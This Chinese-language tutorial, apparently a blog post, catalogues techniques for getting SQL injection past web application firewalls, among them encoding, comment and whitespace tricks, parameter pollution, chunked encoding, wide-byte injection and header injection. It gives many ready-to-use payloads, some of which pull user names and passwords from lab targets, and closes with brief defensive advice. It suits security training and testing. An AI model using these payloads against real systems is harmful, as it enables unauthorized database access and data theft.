我们在平时的渗透测试中,更多情况下会遇到的是网站开发人员自己写的防护规则。网站开发人员为了网站的安全,会在可能遭受攻击的地方增加一些安全防护代码,比如过滤敏感字符,对潜在的威胁的字符进行编码、转义等。

2、编码绕过

绕WAF最常见的方法就是使用各种编码进行绕过,但编码能绕过的前提是提交的编码后的参数内容在进入数据库查询语句之前会有相关的解码代码。

URL编码:

在这里插入图片描述

代码中增加了特殊字符过滤,但在参数值进入数据库查询语句前多了一步解码操作:

$id= urldecode($id);

对参数值进行URL编码后可绕过过滤检测

二次URL编码

代码中在特殊字符过滤前又多增加了一步解码操作,可使用二次URL编码进行绕过。

使用一次URL编码绕过后,由于在过滤前会进行一次解码操作,所以单引号还是被过滤掉,注入语句未成功插入。

其他编码

除了使用URL编码外,还可以使用其他的编码方式进行绕过尝试,例如Unicode编码,Base64编码,Hex编码,ASCII编码等,原理与URL编码类似,此处不再重复。

3、大小写绕过

部分WAF只过滤全大写(SLEEP)或者全小写(sleep)的敏感字符,未对sleeP/slEEp进行过滤,可对关键字进行大小写转换进行绕过。

在这里插入图片描述

通过修改关键字内字母大小写来绕过过滤措施。例如:AnD 1=1
例如:在进行探测当前表的字段数时,使用order by 数字进行探测。如果过滤了order ,可以使用OrdER来进行绕过。

4、空格绕过

preg_replace(mixed $pattern , mixed $replacement , mixed $subject):执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

部分WAF会对空格过滤,可使用空白符或者‘+’号替换空格进行绕过。
在这里插入图片描述

使用空白符替换空格绕过

数据库类型允许的空白符 %
SQLite30A,0D,0C,09,20
MySQL509,0A,0B,0C,0D,A0,20
PosgresSQL0A,0D,0C,09,20
Oracle 11g00,0A,0D,0C,09,20
MSSQL01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
?id=1'%0Aand%0Asleep(3)%0Aand%0A'1'='1

使用‘+’替换空格绕过

?id=1'+and+sleep(3)+and+'1'='1 

使用注释符/**/替换空格绕过

?id=1'/**/and/**/sleep(3)/**/and/**/'1'='1

5、双关键字绕过

部分WAF会对关键字只进行一次过滤处理,可使用双关键字绕过。

在这里插入图片描述

由于使用了strtolower()函数,所以无法使用大小写转换进行绕过,注入语句未成功插入。

str_ireplace
?id=1+and+SLesleepeP(3)+and+1=1 

6、注释绕过

内联注释

在MySQL里,/**/是多行注释,这个是SQL的标准,但是MySQL扩张了解释的功能,如果在开头的的/后头加了惊叹号(/!50001sleep(3)*/),那么此注释里的语句将被执行。

?id=1+and+/*!sleep(3)*/+and+1=1   
?id=1' union/*!/*!5select*/ 1,2,3--+
?id=1' union/*!/*!11440select*/ 1,2,3--+
/*!11440and*/
/*!%26%26*/

注释

联想注释我们还知道有 – # 那么他们可以利用吗,当然是肯定的,其实很久以前就有大佬发过这个语句了是
union %23%0aselect 因为这些都是单行注释,而%0a 是换行的url编码,大家可以换行后用url编码看看,就是这个

union %23%0aselect 拦截
union %23select 拦截
union a%23 select 不拦截
union all%23 select 不拦截
union all%23%0a select 不拦截
union %23%0aall select 不拦截

有时候fuzz右边不行 不如看看左边 为什么可以加all 这个你就得看看mysql手册了,其实测试到最后发现%23%0a中间不能加字符否则会被拦截。

union all -- %0a select 拦截

union  -- ()%0a select 拦截

union  -- 1%0a select 不拦截

union  -- hex()%0a select 不拦截

7、请求方式差异规则松懈性绕过

有些WAF同时接收GET方法和POST的方法,但只在GET方法中增加了过滤规则,可通过发送POST方法进行绕过。

在这里插入图片描述

GET /xxx/?id=1+and+sleep(4) 报错

POST /xxx/ 
    id=1+and+sleep(4) 延时

8、异常Method绕过

有些WAF只检测GET,POST方法,可通过使用异常方法进行绕过。

在这里插入图片描述

 GET/xxx/?id=1+and+sleep(3) HTTP/1.1 注入失败
 DigApis /xxx/?id=1+and+sleep(3)HTTP/1.1 注入成功

9、超大数据包绕过

部分WAF只检测固定大小的内容,可通过添加无用字符进行绕过检测

在这里插入图片描述

?id=1+and+sleep(3) 注入失败

?id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111  注入成功
添加无用字符,使内容大小超过WAF检测能检测到的最大内容。

10、复参数绕过

在提交的URL中给一个参数多次赋了不同的值(?id=1&id=2),部分WAF在处理的过程中可能只处理前面提交的参数值(id=1),而后端程序在处理的时候可能取的是最后面的值。

?id=1&id=2+and+sleep(3) 
将攻击语句赋予最后一个id参数,可绕过WAF检测直接进入后端服务器。

前面说过 /**/ 里面的内容安全狗基本不管了,那么我们用hpp 参数污染来绕过就很简单了
照成这个手法的原因是 web server 对参数的解析问题 在php/apache 中 它总解析最后一个id

http://192.168.59.129/Less-1/?id=-1' /*&id='union select 1,user(),3 -- +*/

11、添加%绕过过滤

​ 将WAF中过滤的敏感字符通过添加%绕过过滤。

​ 例如:WAF过滤了select ,可通过se%lect绕过过滤,在进入后端执行中对参数串进行url解码时,会直接过滤掉%字符,从而注入语句被执行。IIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤%字符。

?id=1 union s%e%lect 1, 2, 3 from admin
?id=1union s%e%lect 1, 2, 3 from admin
?id=1union s%e%lect 1, 2, 3 from admin
?id=1union s%e%lect 1, 2, 3 from admin

12、协议未覆盖绕过

​ 以下四种常见的content-type类型:

​ Content-Type:multipart/form-data;

​ Content-Type:application/x-www-form-urlencoded

​ Content-Type: text/xml

​ Content-Type: application/json

​ 部分WAF可能只对一种content-type类型增加了检测规则,可以尝试互相替换尝试去绕过WAF过滤机制。

​ 例如使用multipart/form-data进行绕过。

正常请求:

在这里插入图片描述

转换为multipart/form-data类型进行绕过:
在这里插入图片描述

13、 宽字节绕过

宽字节注入是因为使用了GBK编码。为了防止sql注入,提交的单引号(%27)会进行转义处理,即在单引号前加上斜杠(%5C%27)。

%df%27经过转义后会变成%df%5C%27,%df%5c会被识别为一个新的字节,而%27则被当做单引号,成功实现了语句闭合。

14、 %00截断

部分WAF在解析参数的时候当遇到%00时,就会认为参数读取已结束,这样就会只对部分内容进行了过滤检测。

?a=1&id=1and sleep(3) 注入失败
?a=1%00 &id=1 and sleep(3) 注入成功

15、 Cookie/X-Forwarded-For注入绕过

部分WAF可能只对GET,POST提交的参数进行过滤,未对Cookie或者X-Forwarded-For进行检测,可通过cookie或者X-Forwarded-For提交注入参数语句进行绕过。

Cookie:TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28; id=1+and+1=1;

X-Forwarded-For:127.0.0.1';WAITFOR DELAY'0:0:5'--

16、利用pipline绕过

当请求中的Connection字段值为keep-alive,则代表本次发起的请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。部分WAF可能只对第一次传输过来的请求进行过滤处理。

正常请求被拦截:

在这里插入图片描述

利用pipline进行绕过:

首先关闭burp的Repeater的Content-Length自动更新

在这里插入图片描述

修改Connection字段值为keep-alive,将带有攻击语句的数据请求附加到正常请求后面再发送一遍。

在这里插入图片描述

17、利用分块编码传输绕过

分块传输编码是HTTP的一种数据传输机制,允许将消息体分成若干块进行发送。当数据请求包中header信息存在Transfer-Encoding: chunked,就代表这个消息体采用了分块编码传输。

在这里插入图片描述

18、 冷门函数/字符/运算符绕过

floor() ==>  updatexml(),extractvalue()    
Substring() ==>  Mid(),Substr(),Lpad(),Rpad(),Left()    
concat() ==>  concat_ws(),group_concat()    
limit 0,1  ==>  limit1 offset 0    
and  ==> &&     
or  ==> ||    
= ==>  < >    
= ==>  like    
Sleep()  ==> benchmark()
ascii(c)、ord(c) <=> conv(hex(c),16,10)  //c是字符

截取字符串是SQL注入利用技术里面的常用功能,通常使用mid(string,1,1) 
在这里插入图片描述

substr(user() from 1 for 1);
substr(user() from 2 for 1);

replace(LPAD(user(),1,1),LPAD(user(),1-1,1),"");
replace(LPAD(user(),2,1),LPAD(user(),2-1,1),"");

LPAD(REVERSE(TRIM( lpad(user(),1,SPACE(1)) )),1,SPACE(1);
LPAD(REVERSE(TRIM( lpad(user(),2,SPACE(1)) )),1,SPACE(1);

在这里插入图片描述

19、十六进制绕过(引号绕过)

select column_name from information_schema.tables where table_name="users"

这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

select column_name from information_schema.tables where table_name=0x7573657273
select a from yz where b=0x32;

select * from yz where b=char(0x32);

select * from yz where b=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)

select column_name  from information_schema.tables where table_name="users"

select column_name  from information_schema.tables where table_name=0x7573657273

单引号绕过

那么有没有什么可以包裹他的呢,其实我们查看mysql手册找到这么一个符号 开单引号 ASCII 96

http://192.168.130.135/Less-1/?id=1' and `updatexml`(1,(select hex(user/**/(/**/))),1)-- +

20、 逗号绕过

20.1、通过case when then、from 1 for 1、limit 1 offset 2

limit 2,1 <=>limit 1 offset 2

case when 条件1 then 条件2 else 条件3 end; #如果条件1成立就执行条件2否则执行条件3

select case when 1=1 then sleep(2) else 0 end;

from 1 for 1 #分页,前面的1代表截第几个,后面的1代表截取的长度.

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from for的方式来解决。

substr(),mid()

mid(user() from 1 for 1)

substr(user() from 1 for 1)

select substr(user()from -1) from yz ;

select ascii(substr(user() from 1 for 1)) < 150;

同时也可以利用替换函数

select left(database(),2)>'tf';

selete * from testtable limit 2,1;

selete * from testtable limit 2 offset 1;

20.2、join

在SQL注入时,在确定了注入点后,一般都需要使用联合查询猜表的列数,也就是常见的order by n,n从大到小,直到返回正常,就确定了当前查询的列的个数。

然后再使用 UNION SELECT 1,2,3,4,5,6,7…n 这样的格式爆显示位,然后再 UNION SELECT 1,2,3,4,database(),6,7…n ,这是一个常规流程,语句中包含了多个逗号。

但是如果有WAF拦截了逗号时,我们的联合查询就被拦截了。

如果想绕过,就需要使用 Join 方法绕过。

其实就简单的几句,在显示位上替换为常见的注入变量或其它语句:
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);

21、比较符(=、<,>)绕过

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp来进行绕过了。

  1. greatest()函数返回在该组输入参数(N1,N2,N3,等等)的最大值。 least()返回参数中最小的。between返回

  2. strcmp()比较两个字符串,如果这两个字符串相等返回0,如果第一个参数是根据当前的排序顺序比第二较小则返回-1,否则返回1。

  3. find_in_set() select FIND_IN_SET(‘1’, ‘1’); 返回 就是1

  4. regexp正则select ‘xxxyyy’ regexp ‘^xx’ 查询xxxyyy字符串中是否以xx开头,结果值为1,表示值为true,满足条件。

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
select least(ord('r'),115)//114
seklect ord('r') between 114 and 115

strcmp(left(database(),1),0x32);#lpad('asd',2,0)

find_in_set(ord(mid(user() from 1 for 1)),114)

select ord('r') regexp 114

if(substr(id,1,1)in(0x41),1,3)

-- 新学习了一种骚骚的注入姿势in、between、order by
select * from yz where a in ('aaa');
select substr(a,1,1) in ('a') from yz ;

select * from yz where a between 'a' and 'b';
select * from yz where a between 0x89 and 0x90;

select * from yz union select 1,2,3 order by 1;
-- 也可以用like,根据排列顺序进行真值判断

22、order by绕过

当order by 被过滤后就可以使用into 变量来绕过

select * from yz limit 1,1 into @a,@b,@c;

23、FUZZ绕过

23.1、selectCHAR

SQL 查询语句select后面可以接一些特殊字符,这些字符与select相结合可以达到绕过waf目的,除了select 语句之外 union\from等关键字前后也可以连接一些特殊字符,这些关键子前后就可以作为fuzz的点。

【+】号:

在这里插入图片描述

【-】号:

在这里插入图片描述

【@】号:

在这里插入图片描述

【!】号:

在这里插入图片描述

【‘】号:

在这里插入图片描述

【“】号:

在这里插入图片描述

【~】号:

在这里插入图片描述

【{】号:

在这里插入图片描述

当然除以上字符,也可结合注释符–、/*、空白字符等。

在这里插入图片描述

不仅仅mysql有这类的语法特性,其他数据库同样支持

Oracle11:

id=1 and--ss%0a1=2 union select++++++-1,stu_name,2/"aaaaaaaaaaaaaaaaaaa/*from%0a*/--from%0afrom student--ss

对于函数过滤的情况可以通过官方文档所有API函数,使用index.php?id=1 xor user()进行fuzz

23.2、其他

查阅乌云知识库发现一个小知识点 and!!!1=1 and后面可以接上奇数个特殊的字符包括不限于! ~ & - 其他还可以自己测试 那么我们的payload就能构造出来了

and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1)

可以知道select 后面加入 常见函数会被拦截,所以我们可以 使用一定的东西来分割他 但是/**//*!*/ 是不能用的,所以最后想到 就是 注释符号

and!!!substr((select user-- (1)%0a()),1,1)='r' 不拦截  

这里比较难的是 from的绕过,虽然最后绕过了,但是感觉不是很完美

from 不拦截
from user 不拦截
select from user 拦截                
select all from user 拦截
select from(user) 拦截
select from{user} 拦截
select from[user] 不拦截
select from [user] 拦截
http://127.0.0.1/sqli/Less-1/?id=1%27 and!!!substr((select username from【users】 limit 0,1),3,1)='m'-- +

前面测试发现 内联注释不能使用了,只能靠括号之类的来干扰了

union select   不拦截
union select 1 拦截
union(select 1) 不拦截
union(select 1,2,3) 不拦截
报错
and `updatexml`(1,select `user`%0a(),1) 
http://192.168.130.135/Less-1/?id=1'  and strcmp((substr((select password/* -- + %0afrom/**/users limit 0,1),1,1)),'D')-- +
时间盲注换换就行
http://192.168.130.135/Less-1/?id=1'  and if((strcmp((substr((select password/* -- + %0afrom/**/users limit 0,1),1,1)),'D')),1,sleep(5))-- +
报错注入
http://192.168.130.135/Less-1/?id=1'  and `updatexml`(1,concat(0x7e,(select user/**/()),0x7e),1)/**/-- +

五、防范SQL注入攻击的方法

  1. 代码中让sql预编译是最佳的防止sql注入攻击的方案

  2. 确认每种数据的类型,比如是数字,数据库则必须使用int类型来存储

  3. 规定数据长度,能在一定程度上防止sql注入

  4. 严格限制数据库权限,能最大程度减少sql注入的危害

  5. 避免直接响应一些sql异常信息,sql发生异常后,自定义异常进行响应

  6. 过滤参数中含有的一些数据库关键词

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐